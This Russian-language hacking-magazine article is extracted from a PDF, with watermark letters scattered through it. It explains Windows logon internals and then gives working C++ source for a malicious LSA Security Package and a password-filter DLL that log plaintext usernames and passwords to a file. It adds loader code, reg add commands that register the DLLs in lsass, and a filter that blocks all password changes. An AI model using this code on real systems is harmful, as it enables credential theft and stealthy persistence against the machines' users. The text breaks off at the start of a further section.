d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

КАК WINDOWS

РАСКРЫВАЕТ ПАРОЛЬ ПОЛЬЗОВАТЕЛЯ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Большинство механизмов защиты в Windows строится на паролях учетных записей пользователей. В сегодняшней статье мы разберем несколько способов перехвата паролей в момент авторизации пользователя и напишем код для автоматизации этого процесса.

MichelleVermishelle

17 y.o. | TG: @MichaelZhm michael.zhmailo@yandex.ru

Windows имеет сложную систему аутентификации со множеством компонентов. Фундаментом этой системы можно считать LSA (Local Security Authority)

и SSP.

LSA — огромная подсистема, которая служит для проверки подлинности пользователей, их регистрации, смены пароля и подобных операций. Еще в LSA хранится информация обо всех аспектах безопасности локального компьютера, например количестве неуспешных вводов пароля для блокировки учетной записи. Посредством LSA можно даже назначать привилегии пользовательским учеткам, для этого разработан инструмент Privileger.

SSP тоже не так прост, как кажется: мы рассмотрели его использование в клиент-серверных процессах в прошлой статье. Он не только помогает разработчикам шифровать данные, обеспечивать целостность передаваемой информации, выстраивать контекст, но и может расширить стандартную аутентификацию. Правда, для этой цели будет использоваться не просто SSP, а SSP/AP, о котором мы поговорим позже.

КОМПОНЕНТЫ БЕЗОПАСНОСТИ

Их можно считать кирпичиками, из которых строится вся огромная система аутентификации в Windows. Отмечу, что теория из этой статьи будет распространяться и на последующий материал. Мы начнем с простейшего перехвата пароля, а затем будем понемногу усложнять себе задачу.

Security Package

Security Package (SP) — программная реализация некоего протокола безопасности. Security Package содержатся в SSP (и/или SSP/AP) в виде DLLфайлов. Например, Kerberos и NTLM находятся в SSP Secur32.dll. Да, именно в Secur32.dll, так как именно этот SSP делегирует функции безопасности нужному SP. Например, если служба требует аутентификацию по Kerberos, то Secur32.dll вызовет Kerberos.dll.

Работа SP

SSP/AP (или же просто AP)

AP — Authentication Package. Представляет собой библиотеку DLL, которая тоже содержит один или несколько SP. Главное отличие от стандартного SSP заключается в том, что SSP/AP может выступать в качестве пакета аутентификации (AP), то есть проверять подлинность введенных данных при входе пользователя в систему.

Тем не менее SSP/AP выполняет и все функции стандартного SSP (выстраивать контекст, шифровать данные и прочие). Чтобы SSP/AP мог функционировать и в качестве пакета аутентификации, и в качестве обычного SSP для клиент-серверных процессов, при запуске системы он загружается в пространство процесса lsass.exe.

Также, если требуется работать лишь с клиент-серверными функциями конкретного SSP/AP, он без проблем может быть загружен в клиент-сер- верное приложение. Например, методом динамического (функция LoadLibrary()) либо статического связывания (pragma comment), то есть без загрузки в процесс lsass.exe. В таком случае функции пакета аутентификации использоваться не будут.

SSP/AP в lsass.exe и клиентских процессах

Security Providers

Security Providers не стоит путать с Security Package. Они все-таки различа-

ются.

Провайдеры безопасности реализованы в виде DLL и позволяют выполнить так называемую вторичную аутентификацию. То есть после того, как пользователь прошел аутентификацию на одной машине, он может пройти аутентификацию и на другой машине, например на сервере Linux. Таким образом, пользователь получает доступ к ресурсам UNIX-сервера с машины Windows без дополнительной аутентификации. Это называется Single SignOn.

Работа Security Providers

Credential Providers

Провайдеры учетных данных — COM-объекты, служащие для беспарольного доступа к системе. Реализованы тоже в виде динамических библиотек DLL. Например, для распознавания лица используется FaceCredentialProvider. dll, для смарт-карт — SmartcardCredentialProvider.dll.

Также может использоваться сторонний поставщик учетных данных. Все доступные поставщики учетных данных перечислены здесь:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\

Credential Providers

Каждый ключ по этому пути реестра идентифицирует определенный класс поставщика безопасности по его CLSID. Сам CLSID должен быть зарегистрирован в HKCR\CLSID, так как является классом COM. Для изучения всех доступных поставщиков также можно воспользоваться инструментом CPlist.exe.

Password Filters

С помощью Password Filters можно расширить стандартную парольную политику на конкретных хостах. Когда создается запрос на смену пароля, LSA вызывает все пакеты уведомлений, чтобы проверить, удовлетворяет ли новый пароль фильтрам, реализованным внутри пакета. Причем каждый пакет уведомлений вызывается дважды:

1.Для проверки нового пароля. Если какой-то из пакетов уведомлений сообщает, что пароль не подходит, система потребует у пользователя указать иной пароль.

2.Для уведомления о том, что пароль изменился. Этот вызов произойдет только тогда, когда все пакеты уведомлений сообщили, что пароль нормальный и соответствует их фильтрам.

Password Filter можно считать частным случаем Noti cation Package.

Noti cation Package в случае проверки пароля

Как происходит вход пользователя в систему

Перед тем как мы сможем перехватить пароль, следует разобраться с процессом входа пользователя в систему. В этой статье мы не будем вдаваться в подробности инициализации Winlogon, создания рабочих столов, GINA. Просто знай, что именно благодаря процессу Winlogon.exe осуществляется интерактивный вход. Система запустилась, пользователь сел за клавиатуру.

1.Для начала аутентификации отправляется комбинация клавиш SAS (по умолчанию Ctrl + Alt + Del). Winlogon получает это сообщение, начинается процесс входа.

2.Так как в современных системах присутствует множество вариантов беспарольного входа (отпечаток пальца, распознавание лица), то Winlogon обращается к Credential Providers, чтобы получить информацию об аутентифицирующемся пользователе.

3.Вне зависимости от ответа провайдера учетных данных Winlogon порождает процесс LogonUI.exe. Он предоставляет интерфейс для ввода пароля и завершается после окончания этого действия. Таким образом, LogonUI.exe может перезапускаться бесконечное количество раз, если вдруг возникают какие-либо ошибки. Как следствие, обеспечивается защита от возможного краша Winlogon.exe.

4.После того как пользователь ввел свой логин и пароль либо если провайдер учетных данных вернул их, Winlogon создает уникальный SID для входа этого пользователя. Данный SID назначается всему текущему экземпляру рабочего стола (клавиатура, мышь, экран). После чего идет обращение к процессу lsass.exe с целью аутентификации пользователя.

5.Обращение можно разделить на несколько этапов. Сначала Winlogon.

exe регистрирует себя как процесс аутентификации. Делается это вызовом функции LsaRegisterLogonProcess(). В случае успешного вызова процесс получает хендл на LSA для последующего взаимодействия. Причем взаимодействие будет осуществляться посредством ALPC (Advanced Local Procedure Calls).

6.Далее Winlogon.exe получает хендл на пакет аутентификации MSV1_0 (и Kerberos в случае AD, тут мы рассматриваем только MSV1_0) путем вызова

LsaLookupAuthenticationPackage():

NTSTATUS LsaLookupAuthenticationPackage(

[in]

HANDLE

LsaHandle,

[in]

PLSA_STRING

PackageName,

[out] PULONG

AuthenticationPackage

);

Эта функция ничего особенного не требует. LsaHandle — хендл, получен-

ный вызовом LsaRegisterLogonProcess(); PackageName — имя пакета аутентификации, например MSV1_0_PACKAGE_NAME; AuthenticationPackage — полученный идентификатор желаемого для использования Winlogon пакета аутентификации.

7.Получив идентификатор пакета аутентификации, Winlogon передает ему информацию в вызове функции LsaLogonUser(). Эта информация содержит SID из шага 4, а также информацию об аутентифицирующемся пользователе. Передача SID помогает предотвратить несанкционированный доступ к рабочему столу, например если взять и ввести пароль одного пользователя, а попробовать получить доступ к столу другого.

8.Внутри MSV1_0 вызывается функция LsaApLogonUserEx(), где имя пользователя и пароль проходят аутентификацию при помощи базы данных SAM. Если аутентификация успешна, там же создается сессия входа в систему: вызывается LsaCreateLogonSession(), и ей присваивается LogonID (LUID), который генерируется пакетом аутентификации. После этого MSV1_0 добавляет специальную информацию к сессии с помощью вызова LsaAddCredential(). Обычно это имя пользователя, имя домена и контрольные суммы LM/NT-хеша пароля. Эта информация впоследствии понадобится, если пользователь попытается получить доступ к удаленным узлам.

9.Далее Winlogon дожидается ответа от LSA по поводу введенных учетных данных.

10.После успешной аутентификации пользователя запускается инициализация пользовательской оболочки (User Shell). Пользовательская оболочка — совокупность процессов, запущенных от лица конкретной учетной записи.

11.Просто взять и создать пользовательскую оболочку, например с помощью обычного CreateProcess(), не получится. Сначала lsass.exe вызывает функцию NtCreateToken() для создания токена доступа. В этом токене будет содержаться информация о самом пользователе. Именно этот токен в дальнейшем станет использовать Winlogon.exe для создания процесса от лица аутентифицированного пользователя.

Возможно, у тебя сразу появилась коварная мысль: «А могу ли я сам генерировать токены?» Как бы да и как бы нет. Для успешного создания токена требуется привилегия SeCreateTokenPrivilege, которой обладает только lsass.exe. Если у нас есть эта привилегия, то мы сможем

нафантазировать что душе угодно. Абсолютно любой токен — любые группы, привилегии, вне зависимости от каких-либо глобальных настроек и конфигураций. Например, я получал права на выполнение кода от лица группы.

Выполнение кода от лица группы

И ставил SID = 0.

Null sid

12.Дополнительно Winlogon.exe собирает информацию о пользовательской среде. Информация эта самая разная. Заострю внимание на начальном процессе, он же системный шелл, — процессе, который будет порождать остальные процессы в системе от лица пользователя и применяя все установленные настройки пользовательского профиля. Все эти данные хра-

нятся в HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon. В ключе Userinit по умолчанию указан процесс userinit.exe, который как раз таки восстанавливает настройки профиля пользователя. А в ключе shell — системный шелл, обычно это explorer.exe.

13.Сначала идет обращение именно к Userinit, программа запускается, выполняется инициализация среды, а затем userinit.exe обращается к ключу shell и порождает системный шелл. После этого процесс Userinit завершается. Собственно, ровно по этой причине мы и не видим родительского процесса у explorer.exe userinit.exe уже завершился.

14.Пользователь заходит в систему и получает доступ к своему рабочему столу.

Процесс аутентификации

Инициализация LSA

Именно LSA играет ключевую роль в процессе аутентификации пользователя. Каким образом LSA будет инициализировать наши вредоносные SP, AP и NP?

При запуске устройства LSA автоматически подгружает все зарегистрированные SP, реализованные в виде DLL, в свое адресное пространство. Все зарегистрированные DLL находятся по следующему пути:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

Ключ со всеми SP

Если этот ключ пустой, то используется значение по умолчанию:

kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0"pku2u"\0

Все эти DLL указываются без полного пути. Microsoft рекомендует помещать SP в папку %systemroot%/system32. Далее у каждого SP вызывается функция SpLsaModeInitialize(), благодаря которой LSA получает специальную таблицу SECPKG_FUNCTION_TABLE, содержащую указатели на функции. Они

реализуют данный пакет безопасности. Выглядит это примерно вот так:

SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =

{

{

NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize,

SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL,

NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL

}

};

NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG

PackageVersion, PSECPKG_FUNCTION_TABLE * ppTables, PULONG pcTables)

{

*PackageVersion = SECPKG_INTERFACE_VERSION;

*ppTables = SecurityPackageFunctionTable;

*pcTables = 1;

return 0;

}

Если SpLsaModeInitialize() успешно вернула таблицу, то LSA вызывает

SpInitialize(), которой передает структуру LSA_SECPKG_FUNCTION_TABLE.

В этой структуре содержатся указатели на функции, которые предоставляет LSA для использования внутри SP. Например, функцию CreateToken() можно использовать для создания токена (это не токен доступа, а токен, который генерируется во время выстраивания контекста в клиент-серверных приложениях).

Третьей вызывается SpGetInfo(), благодаря которой LSA получает информацию о пакете. Например, его имя, описание и версию. Эта информация будет отображаться при вызове функции

EnumerateSecurityPackages():

NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)

{

PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME |

SECPKG_FLAG_CONNECTION | SECPKG_FLAG_LOGON;

PackageInfo->Name = (SEC_WCHAR*)L"MishaSSP";

PackageInfo->Comment = (SEC_WCHAR*)L"SSP with a wide Russian

soul";

PackageInfo->wRPCID = SECPKG_ID_NONE;

PackageInfo->cbMaxToken = 0;

PackageInfo->wVersion = 1337;

return 0;

}

Далее LSA загружает все доступные пакеты аутентификации (AP). Их список извлекается из следующего ключа реестра:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages

Продолжение статьи

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

w Click

 

BUY

o m

ВЗЛОМ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

w

p

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

c

 

 

 

o

 

 

 

 

 

 

.c

 

 

w

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК WINDOWS РАСКРЫВАЕТ ПАРОЛЬ ПОЛЬЗОВАТЕЛЯ

Ключ со всеми AP

В каждом из них будет вызвана функция LsaApInitializePackage(), в ней LSA передаст таблицу LSA_DISPATCH_TABLE, содержащую все функции LSA, которые может дергать AP. AP, в свою очередь, должен заполнить последний параметр функции, указав свое имя. Это имя LSA использует, чтобы определить, к какому AP хочет получить доступ программа, путем вызова

LsaLookupAuthenticationPackage().

LSA_DISPATCH_TABLE

DispatchTable;

 

 

 

NTSTATUS LsaApInitializePackage(_In_

ULONG

 

AuthenticationPackageId, _In_

PLSA_DISPATCH_TABLE

LsaDispatchTable,

_In_opt_ PLSA_STRING

 

Database, _In_opt_

PLSA_STRING

Confidentiality,

_Out_

PLSA_STRING*

AuthenticationPackageName)

{

// Сохраняем адреса функций

DispatchTable.CreateLogonSession = LsaDispatchTable->

CreateLogonSession;

DispatchTable.DeleteLogonSession = LsaDispatchTable->

DeleteLogonSession;

DispatchTable.AddCredential = LsaDispatchTable->AddCredential;

DispatchTable.GetCredentials = LsaDispatchTable->GetCredentials;

DispatchTable.DeleteCredential = LsaDispatchTable->

DeleteCredential;

DispatchTable.AllocateLsaHeap = LsaDispatchTable->AllocateLsaHeap

;

DispatchTable.FreeLsaHeap = LsaDispatchTable->FreeLsaHeap;

DispatchTable.AllocateClientBuffer = LsaDispatchTable->

AllocateClientBuffer;

DispatchTable.FreeClientBuffer = LsaDispatchTable->

FreeClientBuffer;

DispatchTable.CopyToClientBuffer = LsaDispatchTable->

CopyToClientBuffer;

DispatchTable.CopyFromClientBuffer = LsaDispatchTable->

CopyFromClientBuffer;

// Возвращаем имя нашего AP

(*AuthenticationPackageName) = (LSA_STRING*)LsaDispatchTable->

AllocateLsaHeap(sizeof(LSA_STRING));

if (NULL != (*AuthenticationPackageName))

{

(*AuthenticationPackageName) = (LSA_STRING*)

LsaDispatchTable->AllocateLsaHeap(sizeof(LSA_STRING));

(*AuthenticationPackageName)->Buffer = (char*)

LsaDispatchTable->AllocateLsaHeap((ULONG)strlen

("myssp") + 1);

if (NULL != (*AuthenticationPackageName)->Buffer)

{

(*AuthenticationPackageName)->Length =

strlen("myssp");

(*AuthenticationPackageName)->MaximumLength =

strlen("myssp") + 1;

strcpy(

(*AuthenticationPackageName)->Buffer,

"myssp");

return 0x00000000L; // STATUS_SUCCESS

}

return 0xC0000002; // STATUS_NOT_IMPLEMENTED

}

}

ЭКСПЛУАТАЦИЯ

Теперь, изучив теорию, можно злоупотреблять этими самыми кирпичиками системы безопасности Windows. Начнем с классического способа, который присутствует даже в mimikatz. Это стандартное внедрение SP с целью перехвата учетных данных.

Как дебажить?

Многие функции, которые мы будем использовать, возвращают либо NTSTATUS, либо SECURITY_STATUS. Чтобы понять, что сломалось, в первом случае можно воспользоваться функцией LsaNtStatusToWinError():

ULONG LsaNtStatusToWinError(

[in] NTSTATUS Status

);

После этого анализируем значение ULONG и сравниваем с кодами ошибок

Win32.

В случае SECURITY_STATUS все чуточку сложнее. Как интерпретировать его исходное значение, вообще непонятно. Например, пусть в нашем коде функция AddSecurityPackage() валится каждый раз с ошибкой -2146893051. Чтобы понять, что эта ошибка означает, нужно конвертировать ее в Hex, получим 80090305. После чего следует поискать ее в sspi.h, добавив 0x в начало, а букву L в конец.

Описание ошибки

Перехват пароля с помощью внедрения Security Package Требования

Наш SP для корректной работы должен удовлетворять следующим требованиям:

1.Реализован в виде библиотеки DLL.

2.Имеет функции SpLsaModeInitialize(), SpGetInfo(), SpInitialize(), SpAcceptCredentials().

3.Имеет ту же архитектуру, что и целевая система: х64 для х64, х86 для х86.

Загрузка в систему

Первый вариант самый простой. Мы будем использовать функцию AddSecurityPackage(), что позволит загрузить SP в систему буквально одним кликом:

SECURITY_STATUS SEC_ENTRY AddSecurityPackageA(

[in] LPSTR pszPackageName,

[in] PSECURITY_PACKAGE_OPTIONS pOptions

);

Вот пример загрузки:

#define WIN32_NO_STATUS

#define SECURITY_WIN32

#include <windows.h>

#include <sspi.h>

#include <NTSecAPI.h>

#include <ntsecpkg.h>

#pragma comment(lib, "Secur32.lib")

int main()

{

char packagePath[] = "C:\\Windows\\SP.dll";

SECURITY_PACKAGE_OPTIONS spo = {};

SECURITY_STATUS ss = AddSecurityPackageA(packagePath, &spo);

if (ss != SEC_E_OK) {

if (ss == SEC_E_SECPKG_NOT_FOUND) {

std::wcout << L"[?] SEC_E_SECPKG_NOT_FOUND received!

Check architecture. U should load x86 DLL into x86 system. x64 DLL

into x64 systems" << std::endl;

return 1;

}

else {

std::wcout << L"[-] AddSecurityPackage failed: " << ss <<

std::endl;

return 1;

}

}

else {

std::wcout << L"[+] AddSecurityPackage Success" << std::endl;

}

return 0;

}

Есть также второй вариант, но он потребует перезагрузки системы. Сначала помещаем наш SP в папку C:\Windows\System32, а затем изменяем значение в реестре:

reg add hklm\system\currentcontrolset\control\lsa\ /v "Security

Packages" /d "kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0

"pku2u"\0"SP" /t REG_MULTI_SZ

После перезагрузки LSA прочитает это значение и подгрузит нашу DLL.

Проверка

Чтобы проверить успешность загрузки нашего SP в адресное пространство процесса lsass.exe, можно воспользоваться функцией

EnumerateSecurityPackages():

void EnumSecPkg() {

SECURITY_STATUS status;

ULONG pcPackages = 0;

SecPkgInfo* secPkgInfo = NULL;

status = EnumerateSecurityPackages(&pcPackages, &secPkgInfo);

if (status != SEC_E_OK) {

wprintf(L"[!] EnumerateSecurityPackages() failed with error:

%i\n", status);

}

std::wcout << L"NAME" << std::setw(50) << L"COMMENT" << std::setw

(40) << L"VERSION" << std::endl;

for (ULONG i = 0; i < pcPackages; i++) {

std::wcout << secPkgInfo[i].Name << std::setw(75 - wcslen(

secPkgInfo[i].Name)) << secPkgInfo[i].Comment << std::setw(20 -

sizeof(secPkgInfo[i].wVersion)) << secPkgInfo[i].wVersion << std::

endl;

}

}

Получение всех загруженных SP

Перехват пароля

Внаш SP, кроме стандартных функций для инициализации

(SpLsaModeInitialize(), SpGetInfo(), SpInitialize()), добавим функцию

SpAcceptCredentials(). Эта функция будет вызвана LSA после того, как пользователь введет верную пару логина и пароля. Код нашего вредоносного SP приобретет следующий вид:

#define WIN32_NO_STATUS

#define SECURITY_WIN32

#include <windows.h>

#include <sspi.h>

#include <NTSecAPI.h>

#include <ntsecpkg.h>

#include <iostream>

#include <string>

#pragma comment(lib, "Secur32.lib")

LPWSTR logFileName = (LPWSTR)L"C:\\Temp1\\_Mz_41dbabfaastex";

HANDLE hLogFile = NULL;

void SpCreateLogFile() {

hLogFile = CreateFile(logFileName, GENERIC_WRITE | GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL, NULL);

}

void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) {

if (hLogFile == NULL) {

SpCreateLogFile();

}

std::wstring wspFuncName = spFuncName;

std::wstring wfuncName = funcName;

std::wstring wLog;

wLog.append(L"\n").append(wspFuncName).append(L" | ").append(

funcName).append(L" | ").append(std::to_wstring(err).append(L"\n"));

DWORD dwNumberWritten = 0;

WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t)

, &dwNumberWritten, NULL);

}

NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS

Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)

{

SpMakeLog((LPWSTR)L"SpInitialize", (LPWSTR)L"LsaInvoke", 0);

return 0;

}

NTSTATUS NTAPI SpShutDown(void)

{

SpMakeLog((LPWSTR)L"SpShutDown", (LPWSTR)L"LsaInvoke", 0);

CloseHandle(hLogFile);

return 0;

}

NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)

{

SpMakeLog((LPWSTR)L"SpGetInfo", (LPWSTR)L"LsaInvoke", 0);

PackageInfo->fCapabilities = SECPKG_FLAG_NEGOTIABLE |

SECPKG_FLAG_MUTUAL_AUTH | SECPKG_FLAG_LOGON |

SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_RESTRICTED_TOKENS

| SECPKG_FLAG_RESTRICTED_TOKENS

| 0x00000002; // SECPKG_CALLFLAGS_AUTHCAPABLE;

PackageInfo->Name = (SEC_WCHAR*)L"myssp";

PackageInfo->Comment = (SEC_WCHAR*)L"Custom security package

from Russia with love";

PackageInfo->wRPCID = SECPKG_ID_NONE;

PackageInfo->cbMaxToken = 0;

PackageInfo->wVersion = 1;

return 0;

}

NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType,

PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials,

PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)

{

SpMakeLog((LPWSTR)L"SpAcceptCredentials", (LPWSTR)L"LsaInvoke", 0

);

DWORD dwWritten = 0;

WriteFile(hLogFile, AccountName->Buffer, AccountName->Length, &

dwWritten, NULL);

WriteFile(hLogFile, L"@", 2, &dwWritten, NULL);

WriteFile(hLogFile, PrimaryCredentials->DomainName.Buffer,

PrimaryCredentials->DomainName.Length, &dwWritten, NULL);

WriteFile(hLogFile, L":", 2, &dwWritten, NULL);

WriteFile(hLogFile, PrimaryCredentials->Password.Buffer,

PrimaryCredentials->Password.Length, &dwWritten, NULL);

return 0;

}

SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =

{

{

NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize,

SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL,

NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL

}

};

NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG

PackageVersion, PSECPKG_FUNCTION_TABLE * ppTables, PULONG pcTables)

{

SpMakeLog((LPWSTR)L"SpLsaModeInitialize", (LPWSTR)L"LsaInvoke", 0

);

*PackageVersion = SECPKG_INTERFACE_VERSION;

*ppTables = SecurityPackageFunctionTable;

*pcTables = 1;

return 0;

}

Мы добавили лишь логирование полученных в функции SpAcceptCredentials учетных данных. Поместим любым удобным образом SP в систему и попробуем отследить вход пользователя.

Успешный вход пользователя

Перехваченные учетные данные

Перехват пароля с помощью внедрения Password Filter Требования

Должны быть соблюдены следующие условия:

1.Наш NP реализован в виде библиотеки DLL.

2.В NP реализованы функции NP.

3. NP имеет ту же архитектуру, что и целевая система: х64 для х64, х86 для х86.

4.Функции объявлены как extern "C" __declspec(dllexport) и имеют соглашение о вызове __stdcall.

Загрузка в систему

LSA извлекает список всех пакетов уведомлений из следующего ключа реестра:

reg query "hklm\system\currentcontrolset\control\lsa" /v

"notification packages"

По умолчанию в нем написано только scecli. Для добавления своего NP требуется поместить его в папку C:\Windows\System32, после чего добавить к этому ключу реестра значение — имя этой самой DLL без расширения .dll:

reg add "hklm\system\currentcontrolset\control\lsa" /v "notification

packages" /d scecli\0passfil /t reg_multi_sz

Перехват пароля

Самый простой код может выглядеть так:

#include <windows.h>

#include <ntsecapi.h>

#include <string>

#include <iostream>

using namespace std;

LPWSTR logFileName = (LPWSTR)L"C:\\Temp1\\_Mz_41dbabfaastex";

HANDLE hLogFile = NULL;

void SpCreateLogFile() {

hLogFile = CreateFile(logFileName, GENERIC_WRITE | GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL, NULL);

}

void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) {

if (hLogFile == NULL) {

SpCreateLogFile();

}

std::wstring wspFuncName = spFuncName;

std::wstring wfuncName = funcName;

std::wstring wLog;

wLog.append(L"\n").append(wspFuncName).append(L" | ").append(

funcName).append(L" | ").append(std::to_wstring(err).append(L"\n"));

DWORD dwNumberWritten = 0;

WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t)

, &dwNumberWritten, NULL);

}

extern "C" __declspec(dllexport) BOOLEAN __stdcall

InitializeChangeNotify(void) // Инициализация NP

{

SpMakeLog((LPWSTR)L"InitializeChangeNotify", (LPWSTR)L"LsaInvoke"

, 0);

return TRUE;

}

// Проверка нового пароля

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(

PUNICODE_STRING AccountName, PUNICODE_STRING FullName,

PUNICODE_STRING Password,BOOLEAN SetOperation)

{

SpMakeLog((LPWSTR)L"PasswordFilter", (LPWSTR)L"LsaInvoke", 0);

SpMakeLog((LPWSTR)AccountName->Buffer, (LPWSTR)Password->Buffer,

0);

return TRUE;

}

// Уведомление об успешной смене пароля на новый

extern "C" __declspec(dllexport) NTSTATUS __stdcall

PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId,

PUNICODE_STRING NewPassword)

{

SpMakeLog((LPWSTR)L"PasswordChangeNotify", (LPWSTR)L"LsaInvoke",

0);

SpMakeLog((LPWSTR)UserName->Buffer, (LPWSTR)NewPassword->Buffer,

0);

return 0;

}

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

КАК WINDOWS РАСКРЫВАЕТ ПАРОЛЬ ПОЛЬЗОВАТЕЛЯ

Функции для логирования я скопировал из кода SP. Рассмотрим новые:

InitializeChangeNotify() — эта функция вызывается LSA в момент, когда NP успешно загружается в адресное пространство процесса LSA;

PasswordFilter() — вызывается LSA, когда пользователь решает сменить пароль. В нее попадает в плейнтексте непосредственно сам новый пароль для проверки;

PasswordChangeNotify() — вызывается LSA, когда все NP сообщили, что пароль подходит под их фильтры.

Успешный перехват нового пароля

Запрещаем пользователям менять пароль

Как ты помнишь, главная функция Password Filter — проверять, что пароль подходит под все критерии. Мы можем запретить любому пользователю системы менять пароль, если изменим функцию PasswordFilter() вот так:

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(

PUNICODE_STRING AccountName, PUNICODE_STRING FullName,

PUNICODE_STRING Password,BOOLEAN SetOperation)

{

return FALSE; // Пароль не подходит под критерии

}

В результате новый пароль просто не будет проходить проверку и LSA не разрешит сменить пароль.

Невозможно сменить пароль

Перехват пароля с помощью диспетчера учетных данных Теория

